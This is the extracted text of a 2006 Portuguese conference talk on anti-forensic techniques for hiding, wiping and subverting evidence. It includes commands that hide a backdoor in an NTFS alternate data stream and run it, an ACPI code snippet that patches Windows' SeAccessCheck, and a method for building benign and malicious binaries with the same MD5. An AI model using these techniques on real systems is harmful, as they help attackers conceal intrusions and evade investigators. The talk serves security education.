7/27/2019 Anti for Ense
1/26
Anti Forensics: dificultando anlises forenses computacionais
Wendel Guglielmetti Henriquea.k.a dum_dum
http://www.intruders.com.brhttp://www.frontthescene.com.br
- 04/03/06
http://www.intruders.com.br/http://www.intruders.com.br/http://www.intruders.com.br/7/27/2019 Anti for Ense
2/26
- O que anlise forense computacional ?
- O que Anti Forense ?
- Mtodos anti-Forenses:
* Encriptao.
* Steganografia.
* Self Split Files + Encryption.
* Ludibriar ltimos arquivos modificados.
* Wipe.
* Data Hiding: swap, file system bad blocks, unallocated spaces, ADS.
* Dump de processos.
* Checagem de Integridade (MD5 Collision).
* Database Rootkits.
* BIOS Rootkits.
Agenda
7/27/2019 Anti for Ense
3/26
O que anlise forense computacional ?
a aplicao de mtodos cientficos em meios digitais com o objetivo dedeterminar se um sistema computacional (hard disks, compact disks,solid state devices, etc) est sendo ou foi utilizado para atividades ilegaisou no autorizadas.
7/27/2019 Anti for Ense
4/26
O que Anti Forense ?
So mtodos de remoo, ocultao e subverso de evidncias como objetivo de mitigar os resultados de anlises forenses computacionais.
7/27/2019 Anti for Ense
5/26
Mtodos anti Forenses: Encriptao
Encriptao um dos mtodos mais antigos utilizados contra anlises forensescomputacionais.
utilizado para dificultar a anlise em arquivos encontrados durante uma percia.
- Arquivos textos (logs, extraction data, etc).
- Arquivos binrios (exploits, sniffers, etc).
root@itts:/var/tmp# cat sniff.log01!LrQBDI#VkZ1j#oMsQ#qZ9Bd3DI#VkZ1j#o@#UFMVkZ1j#o#L
mysql@itts:/var/tmp$ ./priv-exploitkey: SenhaParaDecriptografarChecking target.... done.Gettng address.... done.Bash-3.00#
7/27/2019 Anti for Ense
6/26
Mtodos anti Forenses: Steganografia
Steganografia a arte de esconder mensagens (ou binrios) de forma que as
pessoas que no se enquadrem como destinatrias, no consigam perceb-las.
Por exemplo, a tcnica utilizada para esconder mensagens (ou binrios) emimagens e arquivos de udio, adicionar os dados a serem escondidos no(s)ltimo(s) bit(s) meno(s) significativo(s). Essa tcnica possvel devido aincapacidade humana de perceber pequenas variaes de qualidadena imagem e som.
Em um sistema (Windows, Linux, etc) podemos, esconder arquivos textos oubinrios em imagens ou sons nativos do sistema operacional.
Exemplos interessantes de busca: find / -name *.jpg e dir /s %systemroot%\*.jpg.
root@itts:/tmp# cat wendel.txtcat: wendel.txt: No such file or directory
root@itts:/tmp# stegaext -o wendel.txt /usr/share/gtk-2.0/demo/background.jpgReading hidden file.Remouting file as wendel.txt
root@itts:/var/tmp# cat wendel.txtApenas um texto para exemplo. (poderia ser um binrio) :D
7/27/2019 Anti for Ense
7/26
Mtodos anti Forenses: Self Split Files + Encryption.
Self Split Files um mtodo desenvolvido pelo Intruders Tiger Team Security.Sua tcnica ressume-se a:
- Um framework que interpreta arquivos(textos ou binrios) e os aloca em setoresmarcados como bad-blocks (mas que na verdade no so ).
- A diferena que o arquivo dividido em vrias partes assimtricas que soencriptadas e alocadas fora de ordem e com timestamp modificado.
- Realiza wipe do arquivo de entrada aps ele ter sido processado pelo framework.
- Permite que o arquivo esteja em um servidor HTTP ou FTP para ser processado.
- Biblioteca que permite a fcil interao do framework com sniffers, etc
A utilizao da ferramenta retorna uma seqncia de blocos e uma chavepseudo-randmica que deve ser utilizada para ler ou executar o arquivo.
Bash-3.00# ./itts-ssf-enc -r http://www.intruders.com.br/exploit-staticSelf Split Files + Encryption Prvate tool.Developed by: Intruders Tiger Team SecurityBlocks: 324215 197545 441958Key: CE$Fsf#R._3r
7/27/2019 Anti for Ense
8/26
Mtodos anti Forenses: ltimos arquivos modificados.
Um procedimento comum em anlises forenses computacionais, a listagemdos ltimos arquivos acessados e modificados, facilitando a identificao de
backdoors, sniffers, rootkits, etc.
Um mtodo no Linux (ext2 e ext3) seria alterar as estruturas internas doext2_inode e ext3_inode para modificar os valores de Access Time eModification Time. Retirado de /usr/src/linux/include/linux/ext3_fs.h
233: struct ext3_inode {234: __u16 i_mode; /* File mode */235: __u16 i_uid; /* Low 16 bits of Owner Uid */236: __u32 i_size; /* Size in bytes */237: __u32 i_atime; /* Access time */238: __u32 i_ctime; /* Creation time */239: __u32 i_mtime; /* Modification time */240: __u32 i_dtime; /* Deletion Time */241: __u16 i_gid; /* Low 16 bits of Group Id */242: __u16 i_links_count; /* Links count */243: __u32 i_blocks; /* Blocks count */
Na User-Space podemos utilizar utime() e utimes().
O conceito pode ser aplicado a outros sistemas de arquivos.
7/27/2019 Anti for Ense
9/26
Mtodos anti Forenses: WIPE
Wipe uma forma de se referir ao mtodo de deleo segura.
Nos sistemas de arquivos atuais, os arquivos no so totalmente apagados. Quandoexcluimos um arquivo (com rm, delete, etc), o campo link count setado para zero eo campo deleted time para a hora que o arquivo foi excludo.
Por essa razo, os arquivos podem ser recuperados facilmente com anlises forenses
computacionais via software.
Um mtodo para dificultar a recuperao de arquivos a utilizao do WIPE que nadamais faz do que abrir o arquivo e sobrescrev-lo vrias vezes com contedo pseudo-randmico e depois deslink-los do inode e directory entries.
Exemplos de utilitrios so o necrofile e klismafile (The Defiler's Toolkit).
Obs: Mesmo com mtodos de Wipe pode ser possvel recuperar arquivos apagadosatravs de um fenomeno ferromagnetic chamado Hysteresis Loop. Entretanto, essetipo de anlise requer equipamentos com altssimo custo, ficando o processo cada vezmais complexo de acordo com o nmero de sobrescritas feitas pelo wipe e densidade doHard Disk.
7/27/2019 Anti for Ense
10/26
Mtodos anti Forenses: Data Hiding
So mtodos utilizados para esconder dados em lugares incomuns do sistema de arquivopodendo passar despercebidos por algumas ferramentas de anlise forensecomputacional. aconselhvel mixar esses mtodos com outros tais como a Encriptao,Steganografia, etc.
Swap criado um segmento como BAD_PAGES no swap, e adicionado dados ao
mesmo. Exemplo de ferramenta BigBoo.
Bad Blocks (Inode 1)alguns sistemas de arquivos como ext2 e ext3 assumem que nopodem existir Bad Blocks antes do root inode (inode 2) e algumas ferramentas de anlisecomo o TCT e TASK seguem a mesma lgica. Contudo, possvel criar um Bad Block nainode 1 ludibriando assim essas ferramentas. Exemplo de ferramenta o Runefs (The
Defiler's Toolkit).
Unallocated Spacespodemos utilizar os espaos no alocados entre parties, setor deinicalizao, etc, para armazenar dados. Algumas ferramentas trabalham apenas comparties (no sendo capazes de analisar os discos por inteiro).
7/27/2019 Anti for Ense
11/26
Mtodos anti Forenses: Data Hiding
ADSAlternate Data Stream um recurso do sistema de arquivos NTFS (Windows)que de forma prtica, permite criar arquivos em arquivos. Por exemplo, vamos criar um
ADS chamado mybackdoor.exe e associ-lo ao notepad.exe.
c:\> type evil.exe > c:\windows\notepad.exe:mybackdoor.exe
O arquivo notepad.exe continuar existindo com o mesmo tamanho. Entretanto o
mybackdoor.exe no poder ser visto com o comando dire nem mesmo com o Windows Explorer.
Para executar o ADS associado ao notepad faa:
c:\> start .\..\..\..\..\..\..\..\windows\notepad.exe:mybackdoor.exe
- O ADS permite criar stream file(s) sem necessariamente associ-lo(s) a um arquivo.Exemplo: c:\> echo Code Breakers Meeting III > :wendel.txt
- O ADS permite criar stream file(s) e associa-lo(s) a uma unidade.Exemplo: c:\> echo Front The Scene > c::hide.txt
Para ler o arquivo: c:\> notepad c:\:hide.txt
http://c/Documents%20and%20Settings/wendelhttp://c/Documents%20and%20Settings/wendelhttp://c/Documents%20and%20Settings/wendelhttp://c/Documents%20and%20Settings/wendelhttp://c/Documents%20and%20Settings/wendelhttp://c/Documents%20and%20Settings/wendelhttp://c/Documents%20and%20Settings/wendelhttp://c/Documents%20and%20Settings/wendelhttp://c/Documents%20and%20Settings/wendelhttp://c/Documents%20and%20Settings/wendelhttp://c/Documents%20and%20Settings/wendelhttp://c/Documents%20and%20Settings/wendelhttp://c/Documents%20and%20Settings/wendelhttp://c/Documents%20and%20Settings/wendelhttp://c/Documents%20and%20Settings/wendel7/27/2019 Anti for Ense
12/26
- Vrios sistemas de integridade (tripware, aide, etc) utilizam o algoritmo Message Digest 5(MD5).
- Vrios distribuidores de softwares para diversos sistemas operacionais (Linux, Windows,Solaris, etc) utilizam o algoritmo MD5 para checagem de integridade .
- Em Maro de 2005, Xiaoyun Wang e Hongbo Yu publicaram um artigo que descreve oalgoritmo utilizado para encontrar colises em seqncias de 128 bytes (com o mesmo hashMD5).
- Em Maro de 2005, Arjen Lenstra, Xiaoyun Wang e Benne de Weger demonstraram umexemplo prtico de coliso, criando um par de certificados X.509 com chaves pblicasdiferentes e o mesmo hash MD5.
Checagem de Integridade (MD5 Collision)
7/27/2019 Anti for Ense
13/26
Checagem de Integridade (MD5 Collision)
O algoritmo desenvolvido por Wang e Yu pode ser utilizado para criararquivos diferentescom o mesmo hash MD5.
Exemplos de uso:
- Crackers podem criar um bom aplicativo (P2P, IM, browser, etc) previamente com intenode ser utilizado para ataques de coliso MD5 distribuindo o binrio gratuitamente.Futuramente, eles podem substitu-lo por uma verso que ativa um cdigo malicioso pr-definido mantendo o mesmo tamanho e hash MD5.
- Crackers podem invadir empresas de softwares que so utilizados em larga escala,modificando o cdigo-fonte (chamando o mnimo de ateno possvel) com a inteno defuturamente substitui-lo por verses que ativaro cdigos maliciosos pr-programados.
7/27/2019 Anti for Ense
14/26
Checagem de Integridade (MD5 Collision)
Basicamente a criao de dois binrios diferentes e com o mesmo hash MD5 funciona daseguinte forma:
- A funo MD5 utiliza um mtodo conhecido como Merkle-Damgard quefunciona basicamente assim:
Caso necessrio preenche (pad) o fluxo de entrada (input) fazendo com queo mesmo seja mltiplo de 64 bytes.
O fluxo de entrada (input) dividido em blocos de 64 bytes (M0, M1, M2, etc).
O hash MD5 calculado em seqncias de 16 bytes, chamados states (s0,s1, s2, etc).
O state 0 (s0) o Vetor de Inicializao (IV - Initialization Vector).
O ultimo state (sn) o hash MD5 calculado.
7/27/2019 Anti for Ense
15/26
Checagem de Integridade (MD5 Collision)
- O algoritmo de coliso desenvolvido por Wang e Yu possibilita:
A partir de um Vetor de Inicializao s, encontrar dois pares de blocos M,M' e N,N',sendo que f(f(s, M), M') = f(f(s, N), N').
Encontrar esses dois pares de blocos a partir de qualquer Vetor deInicializao(IV) s, no se restringindo ao Vetor de Inicializao(IV) s0.
7/27/2019 Anti for Ense
16/26
Checagem de Integridade (MD5 Collision)
- Baseado nesses dois fatos:
Criamos e compilamos um programa com um array de 64 bytes (unsigned int mi[64]) e oinicializamos com um valor (vE) de nossa escolha.
Esse programa deve conter todas rotinas (boas e maliciosas) e a comparao entre acoliso de blocos (que ser gerada), que usaremos para diferenciar o que ser executado(rotinas boas ou maliciosas).
Localize no programa compilado o valor de inicializao do array (vE) e extraia o Vetorde Inicializao(IV0, IV1, IV2, IV3) do array mi.
Utilize o md5coll com esse (IV0, IV1, IV2, IV3) Vetor de Inicializao como parmetro eser gerado um par de blocos (m0 e m1) de 32 bytes cada (coliso MD5).
Substitua no programa original (e compile) o array de 64 bytes (mi) pela juno dosblocos (m0 e m1) que permitir a executao das boas rotinas.
Substitua no programa original (e compile) o array de 64 bytes (mi) pela juno dosblocos (m1 e m1) que permitir a executao das rotinas maliciosas.
7/27/2019 Anti for Ense
17/26
Checagem de Integridade (MD5 Collision)
wendel@Itts-VM:/CodeBreakers3$./Code
This is just a ls command.----------------------------------------total 40drwxr-xr-x 2 nobody nogroup 4096 Mar 24 23:02 .drwxrwxrwt 4 root root 4096 Mar 24 23:01 ..-rwxr-xr-x 1 nobody nogroup 13934Mar 24 23:02 Breakers-rwxr-xr-x 1 nobody nogroup 13934Mar 24 23:02 Code
wendel@Itts-VM:/CodeBreakers3$./Breakers
Installing SuckIT 1.3e----------------------------------------I love you babyShow begins Test mode 0
RK_Init: idt=0xc0328000, sct[]=0xc02c68e0kma_hint=0x00000000kmalloc()=0xc012fcb0, gfp=0x1f0Z_Init: Allocating kernel-code memory...KINIT(0xd04d9c64)Done, 11635 bytes, base=0xd04d8000
Relax, just joking! It's a example to III Code Breakers.
By: Wendel Guglielmetti Henrique - Intruders Tiger Team Security.http://www.intruders.com.br
wendel@Itts-VM:/CodeBreakers3$ md5sum *e*e12de05230b765ff86b947ffbd5ebafc Codee12de05230b765ff86b947ffbd5ebafc Breakers
7/27/2019 Anti for Ense
18/26
Checagem de Integridade (MD5 Collision)
E:\CodeBreakers3>Code.exe
This is just a dir command.----------------------------------------Volume in drive E is HD 2Volume Serial Number is F4E8-6389
Directory of E:\CodeBreakers3
24/03/2006 16:56 49.152 md5sum.exe24/03/2006 16:55 21.057 Breakers.exe24/03/2006 16:55 21.057 Code.exe
3 File(s) 91.266 bytes
E:\CodeBreakers3>Breakers.exeInstalling Stealth NT RootKit Beta Version 0.2b
----------------------------------------Detecting OS version...done!Installing Stealth RootKit Device Driver: stealth.sys...done!Loaded Stealth RootKit with success!
Relax, just joking! It's a example to III Code Breakers.By: Wendel Guglielmetti Henrique - Intruders Tiger Team Security.http://www.intruders.com.br
E:\CodeBreakers3> md5sum.exe Code.exe Breakers.exe3f849173065e57261a582f7b8e68df9d *Code.exe3f849173065e57261a582f7b8e68df9d *Breakers.exe
http://c/Documents%20and%20Settings/wendel/Local%20Settings/Temporary%20Internet%20Files/Configura%C3%A7%C3%B5es%20locais/Temp/CodeBreakers3http://c/Documents%20and%20Settings/wendel/Local%20Settings/Temporary%20Internet%20Files/Configura%C3%A7%C3%B5es%20locais/Temp/CodeBreakers3http://c/Documents%20and%20Settings/wendel/Local%20Settings/Temporary%20Internet%20Files/Configura%C3%A7%C3%B5es%20locais/Temp/CodeBreakers3http://c/Documents%20and%20Settings/wendel/Local%20Settings/Temporary%20Internet%20Files/Configura%C3%A7%C3%B5es%20locais/Temp/CodeBreakers3http://c/Documents%20and%20Settings/wendel/Local%20Settings/Temporary%20Internet%20Files/Configura%C3%A7%C3%B5es%20locais/Temp/CodeBreakers3http://c/Documents%20and%20Settings/wendel/Local%20Settings/Temporary%20Internet%20Files/Configura%C3%A7%C3%B5es%20locais/Temp/CodeBreakers3http://c/Documents%20and%20Settings/wendel/Local%20Settings/Temporary%20Internet%20Files/Configura%C3%A7%C3%B5es%20locais/Temp/CodeBreakers3http://c/Documents%20and%20Settings/wendel/Local%20Settings/Temporary%20Internet%20Files/Configura%C3%A7%C3%B5es%20locais/Temp/CodeBreakers3http://c/Documents%20and%20Settings/wendel/Local%20Settings/Temporary%20Internet%20Files/Configura%C3%A7%C3%B5es%20locais/Temp/CodeBreakers3http://c/Documents%20and%20Settings/wendel/Local%20Settings/Temporary%20Internet%20Files/Configura%C3%A7%C3%B5es%20locais/Temp/CodeBreakers3http://c/Documents%20and%20Settings/wendel/Local%20Settings/Temporary%20Internet%20Files/Configura%C3%A7%C3%B5es%20locais/Temp/CodeBreakers3http://c/Documents%20and%20Settings/wendel/Local%20Settings/Temporary%20Internet%20Files/Configura%C3%A7%C3%B5es%20locais/Temp/CodeBreakers37/27/2019 Anti for Ense
19/26
Dump de processos
Nos ltimos tempos as anlises em Live Systems tem alcanado popularidade. Um dos
pontos chave a anlise de processos (em memria).
Vrias ferramentas para anlise de processos (process image) em Live System utilizamptrace (Process Trace - System Call).
Exemplos de ferramentas que utilizam ptrace() para anlise de processos:memgrep, gdb, memfetch, pcat, etc.
- Cada processo pode ser atachado apenas uma vez pelo parent process, dessaforma, basta que o processo j esteja sendo tracejado pelo ptrace (self-ptracing ouutilizando LKM para todos processos) e as ferramentas falharo.
[root@CodeBreakers3]# ./pcat 1732./pcat: ptrace PTRACE_ATTACH: Operation not permitted
[root@CodeBreakers3]# ./memgrep -p 1732 -d -a text -l 100ptrace(ATTACH): Operation not permittedmemgrep_initialize(): Couldn't open medium device.
7/27/2019 Anti for Ense
20/26
Database Rootkits
- Os bancos de Dados tem cada vez mais recursos podendo autalmente serem utilizadospara manter e instalar rootkits.
- Muitos bancos de dados rodam com privilgios administrativos possuindo recursos paracriao de arquivos, execuo de comandos no sistema operacional, etc.Consequentemente permitindo a criao de ferramentas hackers on load.
- Pode-se criar ou modificar estruturas internas dos bancos de dados com objetivo deesconder usurios, functions, stored procedures (inclusive utilizadas para carregarferramentas hackers), etc.
Exemplo:
O banco de dados Oracle tem suporte a Java integrado permitindo a criao,armazenamento e execuo de ferramentas Hackers (backdoors, port scans, exploits, etc) apartir do prprio banco de dados.
7/27/2019 Anti for Ense
21/26
BIOS Rootkits
A BIOS (Basic Input Output System) o software que carregado quando o
micro computador inicializa. Entre suas funes esto inicializao de chipsets, dispositivos,subsistemas de memria, etc.
Em 1996 foi criado a ACPI (Advanced Configuration Power Interface) que hoje est presentena maioria das BIOS. O ACPI prov uma linguagem simples de programao chamada ASLque permite acessar e modificar a memria, disco, etc.
Dessa forma possvel criar Backdoors ou RootKits on the fly, sem a necessidade deescrever no disco e persistentes a formatao (de discos).
Uma funo interessante que o ASL prov a OperationRegion()usada para definirinterface ao hardware. OperationRegion(Nome, Regio, Offset, Tamanho).
Onde "Regio" dividida em 5 partes que podem ser acessadas para leituraou leitura e escrita.
A Regio pode ser: PCI_Config, SMBus, CMOS, SystemIO e SystemMemory(Utilizaremos est para fazer "patching" em memria).
7/27/2019 Anti for Ense
22/26
BIOS Rootkits
SeAccessCheck()determina quando uma requisio de acesso pode ser permitida a um
objeto protegido por um security descriptor ou dono do objeto. - MSDN
Trecho de cdigo para patchear (utilizando 1 byte) SeAccessCheck():
OperationRegion(CodeBreakers, SystemMemory, 0xc04048, 0x1)
Field(CodeBreakers, AnyAcc, NoLock, Preserve){FLD1, 0x8
}
Store (0x0, FLD1)
SeAccessCheck em memoria aps o patch:
nt!SeAccessCheck:80c04008 8bff mov edi,edi
80c0400a 55 push ebp......80c04044 385d24 cmp [ebp+0x24],bl80c04047 7500 jnz nt!SeAccessCheck+0x4180c04049 8b4514 mov eax,[ebp+0x14]80c0404c a900000002 test eax,0x2000000
7/27/2019 Anti for Ense
23/26
Referncias
http://www.frontthescene.com.br
http://en.wikipedia.org/wiki/Encryption
http://www.phrack.org/phrack/63/p63-0x0d_Next_Generation_Runtime_Binary_Encryption.txt
http://en.wikipedia.org/wiki/Steganography
http://www.cotse.com/tools/stega.htm
http://www.intruders.org.br
http://www.hackaholic.org
http://www.opengroup.org/onlinepubs/009695399/functions/utime.html
http://www.opengroup.org/onlinepubs/009695399/functions/utimes.html
http://www-d0.fnal.gov/D0Code/source/l3xsbc_distrib/linux/include/linux/ext3_fs.h
http://en.wikipedia.org/wiki/File_wipe
http://www.frontthescene.com.br/http://en.wikipedia.org/wiki/Encryptionhttp://www.intruders.org.br/http://www.intruders.org.br/http://www.intruders.org.br/http://en.wikipedia.org/wiki/Encryptionhttp://en.wikipedia.org/wiki/Encryptionhttp://www.frontthescene.com.br/http://www.frontthescene.com.br/7/27/2019 Anti for Ense
24/26
Referncias
http://www.s0ftpj.org/tools/bigboo.tar.gz
http://www.phrack.org/phrack/59/p59-0x06.txt
http://en.wikipedia.org/wiki/Alternate_Data_Streams
http://www.securityfocus.com/infocus/1822
http://en.wikipedia.org/wiki/MD5
http://www.stachliu.com/collisions.html
http://eprint.iacr.org/2006/105
http://www.mscs.dal.ca/~selinger/md5collision/
http://www.codeproject.com/dotnet/HackingMd5.asp
http://www.securityfocus.com/infocus/1769
http://www.blackhat.com/presentations/bh-federal-06/BH-Fed-06-Burdach/bh-fed-06-burdach-up.pdf
http://www.s0ftpj.org/tools/bigboo.tar.gzhttp://www.phrack.org/phrack/59/p59-0x06.txthttp://www.phrack.org/phrack/59/p59-0x06.txthttp://www.phrack.org/phrack/59/p59-0x06.txthttp://www.phrack.org/phrack/59/p59-0x06.txthttp://www.phrack.org/phrack/59/p59-0x06.txthttp://www.s0ftpj.org/tools/bigboo.tar.gzhttp://www.s0ftpj.org/tools/bigboo.tar.gz7/27/2019 Anti for Ense
25/26
Referncias
http://www.porcupine.org/forensics/column.html
http://www.oracle.com/technologies/java/index.html
http://www.red-database-security.com/
http://www.acpi.info/
http://en.wikipedia.org/wiki/ACPI
http://www.blackhat.com/presentations/bh-europe-06/bh-eu-06-Heasman.pdf
7/27/2019 Anti for Ense
26/26
Dvidas ?
Agradecimentos ao Ricardo (Security OpenSource), Gilgamesh (The Source) e Francis
Guslinski pela correo ortogrfica.